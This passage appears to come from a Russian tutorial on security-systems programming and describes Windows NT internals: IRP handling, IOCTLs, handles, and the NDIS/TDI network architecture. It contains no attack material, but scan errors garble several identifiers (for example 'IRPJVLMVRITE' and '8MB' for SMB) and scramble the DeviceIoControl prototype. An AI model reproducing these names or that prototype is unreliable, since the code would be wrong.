    Таким образом, по истечении кванта времени некоторого потока на основе механизма планирования осуществляется выбор следующего потока для исполнения, а на основе механизма диспетчеризации происходит переключение на этот поток.

    Каждый поток имеет также приоритет, называемый приоритетом планирования, что подчеркивает его важность при выборе для исполнения очередного потока.




    Взаимосвязь основных объектов

    Взаимосвязь основных объектов

    Что происходит при успешном открытии объекта-устройства (неважно, с помощью какой функции: CreateFile() или NtCreateFile()? Для описания состояния работы с каждым объектом, открытым с помощью этих функций, создается новый экземпляр объекта-файла. Именно отсюда название функции - CreateFile.

    С точки зрения прикладного уровня ОС функции открытия файла могут применяться для открытия файлов, устройств, именованных каналов, почтовых слотов и т.п. Однако, с точки зрения ядра ОС, объекта-файла (в смысле файл на жестком Диске) не существует, как не существует объектов именованный канал или почтовый слот. В действительности объект-файл будет связан с некоторым объектом-устройством, для которого имеет смысл, допустим, понятие «файл» (в смысле файл файловой системы).

    Соответственно, каждая операция ввода/вывода на прикладном уровне будет производиться с некоторым объектом-файлом. Причем конкретный объект будет указан не напрямую, а через так называемый описатель (HANDLE), возвращаемый как результат работы функции CreateFile().

    Важно отметить, что каждый процесс имеет свою собственную таблицу описателей, обеспечивая уникальность описателей только в рамках своей таблицы. Это означает, например, что для двух процессов - А и В - описателю со значением 1 будут в общем случае соответствовать два различных объекта-файла (см. Рисунок 8). Кроме того, ОС поддерживает механизм наследования описателей. В этом случае два разных процесса через два разных описателя будут разделять один и тот же объект-файл.

    Задание кода управления вводом/выводом (IOCTL)

    Задание кода управления вводом/выводом (IOCTL)

    Формат кода управления ввода/вывода показан на Рисунок 11.

    Задержка обработки запросов IRP и постановка запросов IRP в очередь

    Задержка обработки запросов IRP и постановка запросов IRP в очередь

    Когда немедленное завершение запроса ввода/вывода в диспетчерской функции невозможно, драйвер должен указать Диспетчеру ввода/вывода, что обработка запроса продолжается. Для этого возвращаемым значением диспетчерской функции должно быть значение STATUS_PENDING. Перед этим в самом пакете IRP в текущем стеке размещения ввода/вывода должен быть установлен флаг SL_PENDING_RETURNED, помечающий запрос как неоконченный. Для этого служит функция IoMarkIrpPending().
    VOID IoMarkIrpPending(IN PIRP Irp);
    Установка этого флага указывает, что IRP будет освобожден драйвером с помощью вызова loCompleteRequest() когда-то потом.

    Для постановки пакета IRP в очередь диспетчерская функция должна:
  • 1. пометить IRP как неоконченный;

  • 2. установить функцию отмены IRP;

  • 3. использовать один из нижеприведенных способов для постановки IRP в очередь;

  • 4. завершиться со статусом STATUS_PENDING.

  • NT предусматривает два способа организации очередей пакетов IRP:
  • Использование диспетчера ввода/вывода для постановки запросов в управляемую им очередь (Системная Очередь).

  • Создание и управление очередью самостоятельно (Очереди, управляемые драйвером).


  • Запросы чтения и записи IRP_MJ_READ и IRPJVLMVRITE

    Запросы чтения и записи IRP_MJ_READ и IRPJVLMVRITE

    Метод передачи буфера, используемый в запросах чтения и записи, контролируется полем Flags объекта-устройства. После создания объекта-устройства с помощью функции loCreateDevice() необходимо инициализировать это поле. Поле может иметь установленными несколько флагов, при этом применяются следующие правила:
  • 1. Если установлены флаги DO_BUFFERED_IO или DO_DIRECT_IO, метод передачи буфера будет соответственно буферизованным или прямым.

  • 2. Если поле флагов не инициализировано (никакие флаги не установлены), используется метод передачи буфера Neither («никакой» ввода/вывода).

  • 3. Одновременная установка флагов DO_BUFFERED_IO и DO_DIRECT_IO запрещена и будет являться ошибкой.

  • 4. Установленный полем Flags метод передачи будет использован и запросом чтения, и запросом записи.

  • Расположение буфера в зависимости от метода его передачи для запросов чтения и записи полностью определяется таблицей 6.

    Для завершения запроса IRP на чтение/запись, необходимо установить поле Irp>IoStatus.Information равным числу прочитанных/записанных в буфер байт. В случае буферизованного ввода/вывода это поле укажет Диспетчеру ввода/вывода, сколько байт нужно скопировать из промежуточного буфера в невыгружаемой области системного адресного пространства в пользовательский буфер.

    Запросы IRP_MJ_DEVICE_CONTROL и IRP^MJJNTERNA^DEVICE^CONTROL

    Запросы IRP_MJ_DEVICE_CONTROL и IRP^MJJNTERNA^DEVICE^CONTROL

    Как говорилось выше, точка входа драйвера IRP_MJ_DEVICE_CONTROL вызывается при вызове пользовательской программой функции DeviceloControl(). Прототип этой функции:
    BOOL DeviceloControl ( HANDLE hDevice,// описатель открытого устройства

    DWORD dwIoControlCode,// контрольный код запрашиваемой операции

    DWORD nlnBufferSize, LPVOID IpOutBuffer,// адрес буфера со входными данными

    DWORD nOutBufferSize, LPDWORD IpBytesReturnedy// размер входного буфера

    // адрес буфера для приема

    // выходных данных

    // размер выходного буфера

    // адрес переменной

    // для получения

    // числа реально

    // переданных байтов данных

    LPOVERLAPPED IpOverlapped

    // адрес структуры

    // для обеспечения

    // асишсронности

    // ввода/вывода Зачем нужен IRP_MJ_DEVICE_CONTROL? Когда драйвер поддерживает определенный тип устройства, такое устройство обычно имеет набор специализированных возможностей, которые могут управляться через драйвер. Эти возможности не могут быть задействованы использованием стандартных кодов функций IRP_MJ_CREATE, IRP_MJ_CLOSE, IRP_MJ_READ и IRP_MJ_WRITE. Например, драйвер устройства для лентопротяжного устройства SCSI должен обеспечить механизм, который дает возможность пользователям послать запрос на стирание ленты. Такие зависящие от устройства запросы описываются, используя главный функциональный код IRP_MJ_DEVICE_CONTROL. Устройство обычно может принимать несколько разнотипных команд. Для драйвера тип такой команды указывается Кодом Управления ввода/вывода (IOCTL), который передается как часть запроса ввода/вывода.

    Возвращаясь к функции DeviceloControl(), код управления ввода/вывода (IOCTL) указывается во втором параметре этой функции. Код управления ввода/вывода имеет специальный формат, указывающий метод передачи буфера и другую информацию. Этот формат будет рассмотрен в следующем разделе. Путаница может возникнуть при задании буфера для ввода/вывода.

    Как видно из прототипа функции DeviceloControl(), она может передавать два буфера (третий и пятый параметры). Несмотря на названия буферов - входной и выходной буфер - выходной буфер может быть использован как для передачи данных в драйвер, так и для приема данных из драйвера. Разница будет в используемом методе передачи буфера. Использование буферов будет подробно рассмотрено в разделе «Получение буфера».

    Защищенные подсистемы

    Защищенные подсистемы

    Серверы Windows NT называются защищенными подсистемами, так как каждый из них - это отдельный процесс, память которого защищена от других процессов системой виртуальной памяти исполнительной системы NT. Каждая защищенная подсистема обеспечивает интерфейс прикладным программам (API) посредством DLLs клиентской стороны. Когда приложение или другой сервер вызывает некоторую процедуру API, соответствующая DLL упаковывает параметры функции API в сообщение и с помощью средства локального вызова процедур (Local Procedure Call, LPC) посылает его серверу, реализующему данную процедуру. Сервер же, выполнив вызов, посылает ответное сообщение вызывающей программе. Передача сообщений остается невидимой для прикладного программиста. Используя такую процедуру, вызывающая программа никогда не получает прямого доступа к адресному пространству подсистемы.

    Надо отметить, что далеко не все функции API реализуются сервером, например, большая часть функций API Win32 оптимизирована в DLL клиентской стороны, и в действительности не обращается к подсистеме Win32.

    Защищенные подсистемы подразделяются на подсистемы среды (environment subsystems) и неотъемлемые подсистемы (integral subsystems).




    Самоучитель по программированию систем защиты

    API NetBIOS (Network Basic Input/Output System)

    API NetBIOS (Network Basic Input/Output System)

    Это прикладной программный интерфейс, позволяющий обмениваться запросами ввода/вывода с удаленным компьютером. Этот интерфейс используется для создания приложений для локальных сетей Microsoft LAN Manager, IBM LAN Server, Microsoft MS-Net или операционной среды OS/2. Этот API обеспечивает обратную совместимость для программ MS-DOS, 16-разрядной Windows и OS/2, которые передают данные по сети. Имеется также новая 32-разрядная версия. Интерфейс NetBIOS используется для посылки запросов, имеющих структуру формата SMB, на другой компьютер.

    NetBIOS полагается на соглашение об именах, согласно которому компьютерам и сетевым сервисам назначаются 16-байтные имена, называемые NetBIOS-именами. Сетевой сервис WINS (Windows Internet Name service) поддерживает отображение между NetBIOS-именами и адресами протокола TCP/IP. NetBIOS-функции, как и Net-функции, экспортируются приложениям библиотекой Netapi32.dll (см. Рисунок 18). Эта библиотека открывает описатель драйвера уровня ядра, называемого эмулятором NetBIOS - NetBIOS.sys (драйвер файловой системы NetBIOS), и вызывает функцию DeviceloControl по команде приложения. Эмулятор NetBIOS транслирует NetBIOS-команды, выданные приложениями, в TDI-команды, которые посылаются драйверам протоколов. Если приложение хочет использовать NetBIOS поверх протокола TCP/IP, эмулятор NetBIOS требует присутствия драйвера NetBT.sys. Этот драйвер отвечает за поддержку семантики NetBIOS, присущей протоколу NetBEUI, а не протоколу TCP/IP. NetBIOS полагается на передачу NetBEUI-сообщений и средство разрешения имен NetBIOS, поэтому драйвер NetBT реализует их в вершине протокола TCP/IP. Подобно этому, драйвер NwLinkNB реализует семантику NetBIOS поверх протокола IPX/SPX.

    API Windows Sockets

    API Windows Sockets

    Этот API реализует 16 и 32-разрядные сокеты - стандартный сетевой интерфейс, используемый UNIX. Winsock поддерживает надежное, ориентированное на соединение, а также ненадежное, не ориентированное на соединение взаимодействия.

    Прикладной интерфейс Windows Sockets состоит из DLL Ws2_32.dll, которая обеспечивает приложениям доступ к Winsock-функциям (см. Рисунок 20). Ws2_32.dll вызывает сервисы пространства имен и провайдеров сервисов транспорта для выполнения операций по разрешению имен и передачи сообщений. Библиотека Msafd.dll действует как провайдер сервисов транспорта. Msafd.dll использует библиотеки-помощники для Winsock (которые являются специфичными для протоколов), для взаимодействия с драйверами протоколов уровня ядра. Например, Wshtcpip.dll является помощником для протокола TCP/IP, а Wshnetbs.dll - для протокола NetBEUI. Библиотека Mswsock.dll реализует расширенную функциональность Microsoft Winsock.

    DCOM

    DCOM

    COM API фирмы Microsoft позволяет приложениям состоять из разных компонентов, где каждый компонент является заменяемым самостоятельным модулем. СОМ-объекты экспортируют ориентированный на объекты интерфейс к методам для манипулирования данными внутри объекта. Так как СОМ-объекты предоставляют хорошо определенные интерфейсы, разработчики могут реализовывать новые объекты для расширения существующих интерфейсов и для динамического добавления приложениям новой поддержки.

    DCOM расширяет СОМ, позволяя компонентам приложения располагаться на разных компьютерах. Что позволяет приложениям не беспокоиться о том, что один СОМ-объект располагается на локальном компьютере, а другой в сети. DCOM, таким образом, обеспечивает прозрачность расположения, что облегчает разработку распределенных приложений. DCOM не является самостоятельным API, а полагается на RPC для выполнения своей работы.




    Драйверы протоколов промежуточного уровня

    Драйверы протоколов промежуточного уровня

    NDIS драйверы протоколов промежуточного уровня взаимодействуют сверху с драйверами протоколов верхнего уровня (такими как драйверы транспортов), а снизу с NDIS драйверами сетевых карт локальных и глобальных сетей. Ниже NDIS драйвера промежуточного уровня может быть драйвер, не поддерживающий интерфейс NDIS. NDIS драйверы промежуточного уровня могут служить различным целям, включая фильтрацию и шифрование пакетов, реализацию специализированных протоколов и тому подобные функции.

    Для драйвера протокола верхнего уровня промежуточный драйвер выглядит как драйвер виртуальной сетевой карты. Для драйвера реальной сетевой карты — как драйвер протокола. Промежуточные драйверы могут выстраиваться в цепочку, хотя такое расположение может оказывать негативное влияние на производительность системы. Типичный случай разработки и применения промежуточного драйвера - чтобы выполнять преобразование пакетов для среды передачи, неизвестной драйверу транспорта, но поддерживаемой драйвером сетевой карты. Например, может осуществляться преобразование между протоколом локальной сети и ATM протоколом.

    NDIS драйвер промежуточного уровня обычно экспортирует MiniportXxx функции на своем верхнем уровне и ProtocolXxx функции на своем нижнем уровне. Реже промежуточный драйвер может экспортировать MiniportXxx функции на своем верхнем уровне, а в своей нижней части предоставлять закрытый интерфейс посредством использования пакетов IRP, нижнему драйверу, не являющемуся NDIS драйвером. Например, промежуточный драйвер может управлять сетевыми запросами ввода/вывода для устройства, соединенного с последовательным портом.

    Драйверы протоколов верхнего уровня

    Драйверы протоколов верхнего уровня

    Драйвер протокола верхнего уровня в своей верхней части предоставляет TDI-интерфейс или, возможно, другой интерфейс, необходимый пользователям сети. Подобные драйверы выделяют ресурсы для пакетов, копируют данные приложения в пакеты и передают их драйверам более низкого уровня посредством вызова NDIS. В своей нижней части этот тип драйверов обеспечивает интерфейс для получения пакетов от нижележащего драйвера и передает полученные данные TDI-клиенту или приложению, для которого они предназначены.

    К драйверам протоколов верхнего уровня относится и драйвер транспорта, реализующий стек сетевых протоколов, такой как IPX/SPX или TCP/IP. Транспортный драйвер Windows NT реализует TDI-интерфейс в своей верхней части и использует NDIS библиотеку для взаимодействия с драйверами сетевых карт в своей нижней части.

    Драйверы сетевых карт

    Драйверы сетевых карт

    NDIS LAN Miniport NIC драйверы поддерживают сетевые карты локальных сетей. NDIS WAN Miniport NIC драйверы имеют дополнительные требования и предоставляют приложениям доступ к глобальным сетям, таким как, ISDN, Frame Relay, Switched 56.

    Драйверы сетевых карт в своей нижней части взаимодействуют с оборудованием, а в верхней части предоставляют интерфейс, позволяющий верхним уровням посылать пакеты в сеть, сбрасывать и останавливать сетевую карту, а также осуществлять опрос и установку параметров драйвера сетевой карты.

    Существует два типа NDIS драйверов сетевых карт:
  • Miniport NIC драйвер выполняет специфичные для конкретной сетевой карты операции, включая отправление и получение данных. Операции общие для всех драйверов сетевых карт, такие как синхронизация, обычно обеспечиваются NDIS. Miniport драйвер не вызывает напрямую обслуживание операционной системы, он взаимодействует с операционной системой через NDIS.

  • Full NIC legasy драйверы в настоящее время устарели и используются для совместимости, они выполняют одновременно специфичные для сетевой карты операции, а также всю работу по синхронизации, обслуживанию очередей, обычно выполняемые NDIS. Full NIC драйвер, например, поддерживает свою собственную информацию о привязках к вышележащим драйверам для индикации полученных данных. Miniport драйвер, напротив, не хранит информацию о привязках, он просто передает пакеты наверх интерфейсу NDIS, а тот уже гарантирует, что пакеты будут переданы соответствующим драйверам протоколов.

  • Поставщики ISDN, Switched 56, Х.25 и т.п. должны поставлять драйверы сетевых карт для своих адаптеров. Драйверы сетевых карт глобальных сетей взаимодействуют с драйвером ndiswan.sys посредством использования библиотеки NDIS. Драйвер ndiswan.sys обеспечивает наиболее общие сервисы, такие как сжатие данных, зашифрование, простое РРР форматирование. Драйверы сетевых карт глобальных сетей должны реализовывать только специфические черты конкретной среды передачи. Если драйвер сетевой карты глобальной сети управляет сетевой картой, которая сама реализует сжатие, РРР-форматирование и шифрование, то он может указать на это во время своей инициализации драйверу ndiswan.sys, чтобы тот не выполнял эти операции.

    Ndiswan.sys привязывается к одному или нескольким драйверам сетевых карт глобальных сетей, и один или несколько драйверов протоколов привязываются к ndiswan.sys. Драйверы протоколов имеют по одной привязке к драйверу ndiswan.sys, даже если они передают данные через адаптеры разных глобальных сетей. Это экономит память и упрощает реализацию драйвера сетевой карты глобальной сети. А также упрощает драйверы протоколов, так как они должны реализовывать только одну связь с глобальной сетью. С точки зрения драйвера сетевой карты глобальной сети у каждого адаптера имеется только одна привязка к вышележащим драйверам протоколов, даже если несколько драйверов протоколов передают данные через этот адаптер.

    В Windows NT есть встроенный асинхронный WAN miniport NIC драйвер, использующий драйвер последовательного порта для связи по модему.




    Интерфейс DLC (Data Link Control)

    Интерфейс DLC (Data Link Control)

    В Windows NT приложения могут использовать интерфейс DLC, обращаясь к библиотеке dlcapi.dll. Интерфейс DLC - это немаршрутизируемый протокол, используемый для взаимодействия между компьютером с ОС Windows и мейнфреймами IBM или принтерами, присоединенными непосредственно к сети.

    Интерфейс DLC представляет собой множество команд, которые сохраняются в структуре ССВ (Command Control Block) и передаются драйверу транспорта DLC. (Драйвер транспорта DLC в своей верхней части не предоставляет TDI-интерфейс.)




    Интерфейс TDI

    Интерфейс TDI

    Windows NT предоставляет для взаимосвязи между транспортными драйверами и TDI-клиентами уровня ядра, такими как эмуляторы сетевых интерфейсов, редиректоры, серверы, единый программный интерфейс, называемый интерфейсом транспортных драйверов (Transport Driver Interface, TDI).

    Изначально этот интерфейс планировалось использовать в пользовательском режиме работы ОС. В окончательном варианте интерфейс стал работать в режиме ядра, однако все еще может быть использован напрямую из пользовательского уровня. TDI предоставляется верхней частью любого транспортного стека протоколов Windows NT. TDI обеспечивает независимость TDI-клиентов от используемых ими транспортов. TDI поддерживает передачу как с установлением постоянного сеанса (виртуальная цепь), так и без него (датаграммы).

    Требование, чтобы все драйверы транспорта предоставляли единый общий интерфейс TDI, облегчает задачу их разработки, а также разработки TDI-клиентов, потому что только этот интерфейс необходимо запрограммировать.

    Так как TDI является относительно новым сетевым интерфейсом, и большинство приложений разработаны для использования других существующих стандартных интерфейсов, таких как NetBIOS и WinSockets, то Windows NT включает эмуляторы для этих двух популярных интерфейсов. Части уровня ядра этих эмуляторов, являющиеся драйверами файловых систем, отображают родные функции с соответствующими параметрами в одну или несколько TDI-функций, а затем вызывают соответствующие драйверы транспортов через TDI.

    Интерфейс TDI включает следующее:
  • 1. Множество стандартных диспетчерских точек входа, обеспечиваемых транспортным драйвером, к которому TDI-клиент может обратиться с запросом ввода/вывода.

    2. Множество процедур обратного вызова, экспортируемых любым TDI-клиентом и регистрируемых транспортным драйвером, для получения TDI-клиентом уведомления о произошедшем сетевом событии.

    3. Параметры, структуры, lOCTLs и правила, ассоциированные с процедурами транспорта и его клиента.

    4. Множество функций вида TdiXxx, которые транспорт и его клиент могут вызывать для взаимодействия друг с другом.

    5. Множество макросов и функций вида TdiBuildXxx, которые TDI-клиент может использовать, чтобы обеспечить принятие запросов нижележащим транспортом.

  • Программная модель TDI очень похожа на модель Winsocket. TDI-клиенты реализуют следующие шаги для установления соединения с удаленным сервером:
  • 1. TDI-клиент формирует пакет TDIIRP типа address open для размещения адреса. TDI-транспорт возвращает файловый объект, известный как объект-адрес, представляющий адрес. Этот шаг эквивалентен использованию функции bind в Winsocket.

    2. TDI-клиент размещает и формирует пакет TDI IRP типа connection open, и TDI-транспорт возвращает файловый объект, известный как объект-соединение, представляющий соединение. Этот шаг эквивалентен использованию функции socket в Winsocket.

    3. TDI-клиент ассоциирует объект-соединение с объектом-адресом с помощью пакета TDI IRP типа associate address.

    4. TDI-клиент, принимающий удаленное соединение, выпускает TDI IRP пакет типа listen, определяющий число соединений, поддерживаемых для объекта-соединения, и затем выпускает пакет TDI IRP типа accept, который завершается, когда удаленная система установит соединение. Эта операция эквивалентна использованию функций listen и accept в Winsocket.

    5. TDI-клиент, который хочет установить соединение с удаленным сервером, выпускает TDI IRP пакет типа connect, определяя объект-соединение, который TDI-транспорт завершает, когда установится соединение. Выпуск TDI IRP пакета типа connect эквивалентно использованию функции connect в Winsocket.





  • Маршрутизатор многосетевого доступа

    Маршрутизатор многосетевого доступа

    Так как в систему могут быть загружены дополнительные редиректоры для доступа к сетям других типов, то существует компонент, который решает, какой редиректор вызвать для обработки запроса на удаленный ввод/вывод.

    Маршрутизатор многосетевого доступа (Multiple Provider Router, MPR) - это библиотека DLL, предоставляющая приложениям интерфейс API WNet, и определяющая к какой сети следует обратиться, когда приложение использует этот интерфейс для просмотра удаленной файловой системы. Когда приложение вызывает некоторою функцию WNet, этот вызов попадает непосредственно в DLL маршрутизатора многосетевого доступа, который принимает вызов и определяет, через какой из компонентов сетевого доступа (сетевых провайдеров) можно осуществить доступ к данному ресурсу. MPR позволяет приложениям взаимодействовать стандартным образом с несколькими редиректорами, установленными в системе.

    Компонент сетевого доступа (сетевой провайдер) является программным модулем (DLL), разработанным для работы в тесной кооперации с сетевым редиректором. Провайдер - это как бы надстройка над редиректором в виде DLL, которая позволяет компьютеру взаимодействовать с конкретной сетью. В состав программного обеспечения Windows NT входят: провайдер для сетей на базе Windows NT, провайдер шлюза (и клиента) для NetWare.

    Компонент сетевого доступа позволяет Windows NT выступать в качестве клиента некоторого удаленного сервера. Среди операций, выполняемых, например, встроенным компонентом сетевого доступа WNet, можно назвать установление и разрыв сетевого соединения, удаленную печать и передачу данных по сети. Кроме DLL встроенного компонента сетевого доступа и встроенного редиректора в этих операциях принимает непосредственное участие сервис рабочей станции. От других изготовителей сетей требуется предоставить только DLL и редиректор.

    MPR определяет два множества функций. Одно множество - независящий от сети интерфейс API WNet, предоставляемый MPR всем Win32 приложениям, желающим использовать сервисы сетевых редиректоров (посредством сетевых провайдеров). Этот интерфейс позволяет сетевым приложениям запрашивать в стандартной форме выполнения редиректором некоторой общей функциональности, без необходимости разработки специфичного кода для этого редиректора. Другое множество - интерфейс сетевого доступа, предоставляемый всеми сетевыми провайдерами маршрутизатору многосетевого доступа.



    Многосетевой UNC

    Многосетевой UNC

    Это еще один компонент, который решает, какой редиректор вызвать для обработки запроса на удаленный ввод/вывод, если в систему загружены дополнительные редиректоры для доступа к сетям других типов.

    Многосетевой UNC (Multiple UNC Provider, MUP) - драйвер, определяющий, к какой сети следует обратиться, когда приложение использует стандартный Win32 API ввода/вывода для открытия удаленных файлов. Этот сетевой компонент обрабатывает запросы к файлам или устройствам, содержащим имя UNC (это имя, начинающееся с символов \\, которые указывают, что данный ресурс находится в сети). Драйвер mup.sys, подобно MPR, определяет, какой локальный редиректор распознает удаленный ресурс.

    Драйвер mup.sys активизируется, когда приложение пытается открыть удаленный файл или устройство, задавая имя UNC. Получив подобный запрос, подсистема Win32 заменяет символы \\ строкой \DosDevices\UNC и передает запрос исполнительной системе. Объект \DosDevices\UNC является символической связью на объект-устройство \Device\mup, создаваемый драйвером mup.sys. Драйвер mup.sys является довольно простым драйвером и реализует процедуры распределения create/ open. После получения запроса на открытие, драйвер mup.sys посылает особые контрольные пакеты каждому редиректору, зарегистрированному драйвером mup.sys. Этим запросом mup.sys спрашивает редиректор, может ли тот распознать оставшуюся часть имени UNC. Если да, то редиректор должен информировать драйвер mup.sys о числе символов в строке имени UNC, которые он распознает как уникальный идентификатор удаленного ресурса. Драйвер mup.sys кэширует эту часть строки имени, и в последствии посылает имена, начинающиеся с данной подстроки сразу этому редиректору.

    Для того чтобы редиректор мог взаимодействовать с драйвером mup.sys, редиректор должен зарегистрировать себя для драйвера mup.sys во время инициализации, и в дальнейшем отвечать на запросы о распознавании имени, выдаваемые драйвером mup.sys. Редиректор, который первым зарегистрировал себя для драйвера mup.sys, имеет больший приоритет. Этот приоритет определяет, какой редиректор будет обрабатывать запрос, в том случае, если более одного редиректора распознает имя удаленного ресурса.

    После того, как какой-нибудь редиректор распознает имя удаленного ресурса, mup.sys подставляет в начало строки имени удаленного ресурса имя объекта-устройства редиректора и помещает эту строку в файловый объект, соответствующий этому

    ресурсу. С этого момента, запросы к этому удаленному ресурсу идут к редиректору напрямую, и mup.sys больше не вовлекается.




    Обобщенная схема сетевой архитектуры Windows NT

    Обобщенная схема сетевой архитектуры Windows NT


    Промежуточные драйверы ndistapi.sys и ndiswan.sys

    Промежуточные драйверы ndistapi.sys и ndiswan.sys

    Часть интерфейса TAPI располагается в режиме ядра и реализуется драйвером ndistapi.sys, который взаимодействует с драйвером ndiswan.sys. Драйвер ndiswan.sys -NDIS драйвер промежуточного уровня, обеспечивающий РРР форматирование, аутентификацию, сжатие и шифрование для драйверов сетевых карт глобальных сетей. Он преобразует пакет формата NDIS_PACKET, получаемый от драйвера транспорта, в пакет формата NDIS_WAN_PACKET, и передает этот переформатированный пакет нижележащим драйверам сетевых карт глобальных сетей.

    Ndiswan.sys предоставляет интерфейс стандарта 802.3 верхним драйверам протоколов и выступает в роли драйвера протокола для нижележащих драйверов сетевых карт глобальных сетей. Ndiswan.sys имеет закрытый интерфейс с драйвером ndistapi.sys для динамической установки и обрыва TAPI связей.

    Ndiswan.sys преобразует формат отправляемого пакета из LAN в РРР. Большая часть разбивки фреймов, специфичной для среды передачи, должна выполняться в драйвере сетевой карты глобальной сети.

    Протокол SNMP (Simple Network Management Protocol)

    Протокол SNMP (Simple Network Management Protocol)

    Cтандартный протокол Internet для обмена управляющей информацией между консолями управления, такими как HP Openview, Novell NMS, IBM NetView, Sun Net Manager, и набором управляемых устройств, такими как маршрутизаторы, мосты, концентраторы.

    SNMP использует распределенную архитектуру, состоящую из менеджеров (консолей управления) и агентов. SNMP-агентами являются приложения, отвечающие за отслеживание и передачу информации об устройстве по запросу SNMP-диспетчера, а также за обновление локальной управляющей информации на основе сообщений, переданных от SNMP-диспетчера. Агент также оповещает зарегистрированных менеджеров о происхождении значительных событий или особых ситуаций. SNMP-диспетчер - это приложение, генерирующее запросы на получение и установку параметров к SNMP-агенту, и получающее оповещения от SNMP-агентов.

    В ОС Windows NT SNMP-агент реализован в SNMP-сервисе snmp.exe. Это главный агент, получающий SNMP-запросы и передающий их соответствующей библиотеке DLL расширения агента (extension agent DLL). В Windows NT имеется множество DLLs, расширяющих возможности главного SNMP-агента, например: 1) dhcpmib.dll - DLL расширения агента, реализующая DHCP MIB и инсталлируемая только на DHCP серверах; 2) hostmib.dll - DLL расширения агента, реализующая MIB ресурсов хоста; 3) inetmibl.dll - DLL расширения агента, реализующая MIB-II; 4) Immib2.dll - DLL расширения агента, реализующая LAN Manager MIB-II; 5) winsmib.dll - DLL расширения агента, реализующая WINS MIB, инсталлируемая только на WINS серверах.

    Management Information Base (MIB) описывает множество управляемых объектов, имеющих уникальные идентификаторы. SNMP-диспетчер может манипулировать объектами в требуемой базе MIB на определенном компьютере, если на этом компьютере главный SNMP-агент имеет библиотеку DLL расширения агента, поддерживающую требуемую MIB.

    DLLs расширения агента для MIB-II, LAN Manager MIB-II и Host Resources MIB инсталлируются вместе с сервисом SNMP (главным агентом). DLLs расширения агента для других MIBs инсталлируются при инсталляции соответствующих им сервисов. Во время запуска некоторого сервиса, SNMP-агент загружает все соответствующие этому сервису DLLs расширения агента, перечисленные в реестре Windows NT.

    SNMP-диспетчер обычно является консольным приложением третьих производителей. Windows NT включает библиотеки, поддерживающие SNMP-менеджеров. Консоль управления формирует SNMP-сообщение, используя библиотеки mgmtapi.dll (Microsoft SNMP Management API DLL), wsnmp32.dll (Microsoft WinSNMP Manager API DLL), snmpapi.dll (SNMP Utility Library). Библиотека функций SNMP - snmpapi.dll

    используется как консолями управления, так и библиотеками расширения агента. Snmptrap.exe - сервис, получающий SNMP-ловушки и передающий их SNMP-диспет-черу, а snmpcfg.exe - сервис SNMP-конфигурирования. Программные компоненты, отвечающие за передачу SNMP сообщений, используют интерфейс API Windows Sockets.




    Распределенная файловая система (Distributed File System, DFS)

    Распределенная файловая система (Distributed File System, DFS)

    В случае сетевых файловых систем, несмотря на то, что весь механизм транспо] тировки данных скрыт от пользователя файловой системы, он все равно знает, каю данные хранятся локально, а какие были получены с удаленного серверного узла. Ра пределенные файловые системы предлагают единое глобальное пространство им< файлов для пользователя и полностью скрывают действительное физическое распол жение файлов от пользователя файловой системы. DFS является сервисом, которь располагается выше сервиса рабочей станции, чтобы соединить вместе разделяем) файлы в одно пространство имен.

    Распределенные файловые системы имеют сходную архитектуру с сетевыми файловыми системами. Они также имеют клиентскую часть, исполняемую на клиентском узле, и серверную часть, исполняемую на удаленном узле. Клиентская и серверная части могут одновременно исполняться на любом узле, участвующем в реализации распределенной файловой системы.

    Корень пространства имен DFS должен быть разделяемым файлом, определенном на Windows 2000 Server. Серверная часть реализации DFS состоит из Win32-cepBHca и драйвера Dfs.sys. DFS-сервис отвечает за экспортирование интерфейса управления DFS-топологией и за поддержание DFS-топологии либо в реестре, либо в Active Directory. Получив запрос от клиента, DFS-драйвер выполняет просмотр топологии и направляет клиента в систему, где находится запрашиваемый им файл.




    Редиректор

    Редиректор

    Сетевой редиректор является компонентом уровня ядра, предоставляющий ин-терфейс файловой системы локальным пользователям, для этого он принимает запросы ввода/вывода для удаленных файлов и устройств, пересылает их сетевому серверу на удаленном узле, получает данные с удаленного компьютера и предоставляет их локальному пользователю. Реализован в виде драйвера файловой системы.

    Сетевой редиректор использует для взаимодействия с сервером протокол 8MB (протокол прикладного уровня, унаследованный от MS-NET), и поэтому он может работать с существующими серверами MS-NET и LAN Manager, обеспечивая Windows NT доступ к системам MS-DOS, Windows и OS/2. Но для обмена данными между системами Windows NT, базовый протокол 8MB был расширен, чтобы поддерживать распространенные операции ввода/вывода NT.

    Редиректор вызывает интерфейс драйвера транспорта TDI для передачи пакета 8MB различным транспортным драйверам. Редиректор должен открыть для связи с удаленной машиной канал, называемый виртуальным контуром, и затем послать пакет 8MB через этот контур. Редиректор поддерживает по одному виртуальному контуру для каждого сетевого сервера, с которым связана операционная система

    Windows NT, и мультиплексирует все запросы к данному серверу в один контур. Встроенный редиректор Windows NT может сосуществовать с редиректорами других сетей.

    Встроенный редиректор и другие редиректоры создают объект-устройство в пространстве имен диспетчера объектов во время своей загрузки и инициализации. Когда WNet или другой API обращается к диспетчеру объектов для открытия ресурса, расположенного в сети, диспетчер объектов, пройдя по дереву объектов и, обнаружив объект-устройство редиректора (точку входа в удаленную файловую систему), вызывает метод разбора диспетчера ввода/вывода, который передает оставшуюся часть имени ресурса соответствующему редиректору, который и находит удаленный ресурс.




    Соответствие сетевой архитектуры ОС Windows NT модели OSI

    Рисунок .17. Соответствие сетевой архитектуры ОС Windows NT модели OSI

    Соответствие сетевой архитектуры ОС Windows NT модели OSI

    Задача каждого уровня состоит в том, чтобы предоставить обслуживание верхним уровням, абстрагируясь от того, как реализовано это обслуживание на нижних уровнях. Далее приводится краткое описание этих уровней:
  • 1. Физический уровень. Физический уровень является самым нижним уровнем в модели OSI. Задачи этого уровня связаны с отправкой и получением неструктурированного потока бит по физической среде передачи. Он характеризует электрический/ оптический, механический и функциональный интерфейс к физической среде. В Windows NT физический уровень реализуется сетевой картой, ее трансивером, и средой передачи данных, к которой она присоединена. Для сетевых компонентов, которые используют последовательный порт, физический уровень может также включать низкоуровневое сетевое программное обеспечение, которое определяет, как поток последовательных бит делится на пакеты данных.

    2. Канальный уровень. Пересылает низкоуровневые кадры данных, ожидает подтверждения их получения и повторяет передачу потерянных кадров.

    В официальной терминологии модели OSI группа бит, посылаемая канальным уровнем, называется physical layer service data unit (единица данных, обслуживаемая физическим уровнем), на практике эту группу бит называют фреймом.

